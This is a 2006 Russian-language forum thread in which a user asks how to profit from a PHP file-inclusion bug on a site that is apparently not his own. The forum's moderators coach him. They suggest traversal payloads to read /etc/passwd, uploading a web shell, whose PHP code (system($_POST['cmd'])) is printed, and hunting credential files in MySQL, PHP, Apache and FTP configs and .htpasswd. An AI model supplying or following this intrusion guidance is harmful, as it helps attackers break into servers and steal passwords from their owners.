Include багУточнение информации по поводу этого бага
Текущий рейтинг темы: Нет
Sirius
Участник Проекта
 Всего сообщений: 101 Рейтинг пользователя: 6 Дата регистрации на форуме: 3 янв. 2006
|
Профиль | Сообщить модератору | ИгнорироватьNEW! Сообщение отправлено: 23 января 2006 8:31
Простите, хотел получить некоторые сведения, касающиеся этого бага. В сети нашел тысячи страниц в этим багом типа index.php?page=art/one.php переправив это например на index.php?page=../../../../../../etc/passwd я могу читать или выполнять любые файлы на сервере. Страницы с других сайтов(ну там php system()) не открываются. Вопрос - какой мне тогда толк с такой уязвимости и как получить от неё пользу? что мне даст файл etc/passwd???? | | | |
wsx
Модератор раздела
Юниксойд, сетевик
 Откуда: Казань Всего сообщений: 1074 Рейтинг пользователя: 28 Репутация пользователя: 1Дата регистрации на форуме: 14 янв. 2005
|
Профиль | Сообщить модератору | ИгнорироватьNEW! Сообщение отправлено: 23 января 2006 10:15
фаил etc/passwd даст тебе список всех юзеров на сервере и их кое-какие настройки.
Проще всего тебе найти директорию открытую на запись и в то же время она должна быть в пределах веб сервера, тобишь с ней можно было бы работать с веббразуера.
Затем залить туда веб-шелл и готово. Дальше делай что хочешь: ищи прорехи, читай хистори, получай доступ..
Кстати, какая ОС?
uname -a Или в директории /etc/ есть всякие файлы типа: /etc/redhat-release, /etc/gentoo-release, /etc/suse-release.... | | | |
| 4X_Pro
Руководитель Проекта
Настоящий Компьютерщик
Откуда: Москва Всего сообщений: 2994 Рейтинг пользователя: 79
Дата регистрации на форуме: 29 сен. 2001
|
Профиль | Сообщить модератору | ИгнорироватьNEW! Сообщение отправлено: 23 января 2006 12:13 Сообщение отредактировано: 23 января 2006 12:15
Можно пытаться с помощью этой уязвимости найти и прочитать какие-нибудь конфигурационные файлы, например, файл с данными для подключения к БД или файл с администраторским паролем (если система не использует БД). Только для этого нужно иметь исходники скрипта на этом сайте, чтобы знать, где эти файлы хранятся.
--- Каждый человек всегда может найти, чем он может быть полезен окружающим. Проблема только в одном: слишком многие не хотят это искать.
| | | |
Sirius
Участник Проекта
 Всего сообщений: 101 Рейтинг пользователя: 6 Дата регистрации на форуме: 3 янв. 2006
|
Профиль | Сообщить модератору | ИгнорироватьNEW! Сообщение отправлено: 23 января 2006 13:05
Команды на сервере не выполняются, так что о wget можно забыть. Можно лишь открывать файлы на сервере. ОС - фряха. БД - mySQL
Можно читать конфиги, например MySQL, скорее всего там один пассорд на все сервисы. Только где обычно лежит и как называется конфигурационный файл мускула? | | | |
wsx
Модератор раздела
Юниксойд, сетевик
 Откуда: Казань Всего сообщений: 1074 Рейтинг пользователя: 28 Репутация пользователя: 1Дата регистрации на форуме: 14 янв. 2005
|
Профиль | Сообщить модератору | ИгнорироватьNEW! Сообщение отправлено: 23 января 2006 13:10
Можешь писать в файлы ?
можно попробовать создать файло типа:
<?php
system($_POST['cmd']);
// popen
// exec
// passthru
?>
Конфиг мускуля тебе ни чего не даст...
.. | | | |
| 4X_Pro
Руководитель Проекта
Настоящий Компьютерщик
Откуда: Москва Всего сообщений: 2994 Рейтинг пользователя: 79
Дата регистрации на форуме: 29 сен. 2001
|
Профиль | Сообщить модератору | ИгнорироватьNEW! Сообщение отправлено: 23 января 2006 13:23
А какой там FTP-сервер? У некоторых серверов пароли хранятся в отдельном файле, а не используется система аутентификации OS. (Я однажды такой файл вытащил, расшифровал, и получил доступ...)
--- Каждый человек всегда может найти, чем он может быть полезен окружающим. Проблема только в одном: слишком многие не хотят это искать.
| | | |
Sirius
Участник Проекта
 Всего сообщений: 101 Рейтинг пользователя: 6 Дата регистрации на форуме: 3 янв. 2006
|
Профиль | Сообщить модератору | ИгнорироватьNEW! Сообщение отправлено: 23 января 2006 21:00
Ну блин, я же сказал, единственное, что я могу - читать файлы. Там баг в виде include $page, причем я могу задавать директорию index.php?page=../../../../etc/passwd и т.д. По моему, единственный шанс взломать систему - прочитать какие нибудь файлы с паролями, например, должны же быть вшиты пароли в конфиги того же MySQL ну или там другого сервиса | | | |
Sirius
Участник Проекта
 Всего сообщений: 101 Рейтинг пользователя: 6 Дата регистрации на форуме: 3 янв. 2006
|
Профиль | Сообщить модератору | ИгнорироватьNEW! Сообщение отправлено: 23 января 2006 21:01
Да и файлы с другого сервера я читать не могу. А то давно бы выполнил system($cmd) | | | |
| 4X_Pro
Руководитель Проекта
Настоящий Компьютерщик
Откуда: Москва Всего сообщений: 2994 Рейтинг пользователя: 79
Дата регистрации на форуме: 29 сен. 2001
|
Профиль | Сообщить модератору | ИгнорироватьNEW! Сообщение отправлено: 23 января 2006 22:43
Предлагаю сделать вот что: подключиться по FTP, посмотреть, какой там сервер, затем посмотреть в документации к FTP-серверу, где он хранит пароли и попробовать прочитать этот файл.
У MySQL пароля в конфиге обычно не бывает. Лучше попробуй посмотреть конфиг PHP (там иногда бывает пароль на MySQL по умолчанию), или Apache. Еще можно поискать файлы .htpasswd в каталогах сайта - это пароли для закрытых частей сайта, если таковые имеются.
--- Каждый человек всегда может найти, чем он может быть полезен окружающим. Проблема только в одном: слишком многие не хотят это искать.
| | | |
Время выполнения скрипта: 0.0222. Количество выполненных запросов: 17, время выполнения запросов 0.0118
|